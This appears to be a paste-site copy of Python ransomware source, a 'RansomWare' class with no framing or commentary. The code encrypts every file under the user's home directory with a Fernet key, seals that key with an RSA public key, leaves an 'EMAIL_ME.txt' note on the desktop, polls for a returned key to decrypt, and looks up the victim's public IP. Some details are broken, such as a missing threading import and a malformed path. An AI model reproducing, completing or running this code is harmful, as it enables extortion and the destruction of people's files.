Untitled
unknown
plain_text
2 years ago
3.0 kB
11
Indexable
from cryptography.fernet import Fernet import os import ctypes import urllib.request import requests import time import datetime import subprocess import win32gui from Crypto.PublicKey import RSA from Crypto.Cipher import AES, PKCS1_OAEP class RansomWare: file_exts = ['*'] def __init__(self): self.key = None self.crypter = None self.public_key = None self.publicIP = requests.get('https://api.ipify.org').text def generate_key(self): self.key = Fernet.generate_key() self.crypter = Fernet(self.key) def write_key(self): with open('fernet_key.txt', 'wb') as f: f.write(self.key) def encrypt_fernet_key(self): with open('fernet_key.txt', 'rb') as fk: fernet_key = fk.read() with open('fernet_key.txt', 'wb') as f: self.public_key = RSA.import_key(open('public.pem').read()) public_crypter = PKCS1_OAEP.new(self.public_key) enc_fernent_key = public_crypter.encrypt(fernet_key) f.write(enc_fernent_key) with open(f'{os.path.expanduser("~")}Desktop/EMAIL_ME.txt', 'wb') as fa: fa.write(enc_fernent_key) self.key = enc_fernent_key self.crypter = None def crypt_file(self, file_path, encrypted=False): with open(file_path, 'rb') as f: data = f.read() if not encrypted: _data = self.crypter.encrypt(data) else: _data = self.crypter.decrypt(data) with open(file_path, 'wb') as fp: fp.write(_data) def crypt_system(self, encrypted=False): system = os.walk(os.path.expanduser('~'), topdown=True) for root, dirs, files in system: for file in files: file_path = os.path.join(root, file) if not encrypted: self.crypt_file(file_path) else: self.crypt_file(file_path, encrypted=True) def put_me_on_desktop(self): print('started') while True: try: print('trying') with open(f'{os.path.expanduser("~")}/Desktop/PUT_ME_ON_DESKTOP.txt', 'r') as f: self.key = f.read() self.crypter = Fernet(self.key) self.crypt_system(encrypted=True) print('decrypted') break except Exception as e: print(e) pass time.sleep(10) print('Checking for PUT_ME_ON_DESKTOP.txt') def main(): rw = RansomWare() rw.generate_key() rw.crypt_system() rw.write_key() rw.encrypt_fernet_key() t2 = threading.Thread(target=rw.put_me_on_desktop) t2.start() print('> RansomWare: Target machine has been un-encrypted') print('> RansomWare: Completed') if __name__ == '__main__': main()
Editor is loading...
Leave a Comment